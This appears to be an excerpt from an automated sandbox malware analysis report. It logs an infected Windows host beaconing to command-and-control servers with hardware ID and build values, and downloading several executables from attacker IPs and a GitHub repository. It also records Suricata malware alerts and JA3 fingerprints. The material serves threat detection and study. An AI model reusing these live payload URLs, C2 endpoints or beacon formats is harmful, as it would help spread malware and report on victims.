Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002489001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="hwid"8114C295C6162235734526------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="build"tale------GIJJKFCGDGHDHIECGCBK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002490001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="hwid"8114C295C6162235734526------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="build"tale------DGDAEHCBGIIJJJJKKKEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"8114C295C6162235734526------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build"tale------EBKKKEGIDBGHIDGDHDBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="hwid"8114C295C6162235734526------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="build"tale------EGCBFIEHIEGCAAAKKKKE--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.149.100.209 34.149.100.209
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49712 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59771 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59787 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59791 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59797 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59802 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:59802 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:59810 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /vonuch1/start/raw/refs/heads/main/khtoawdltrha.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vonuch1/start/refs/heads/main/khtoawdltrha.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/Session.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
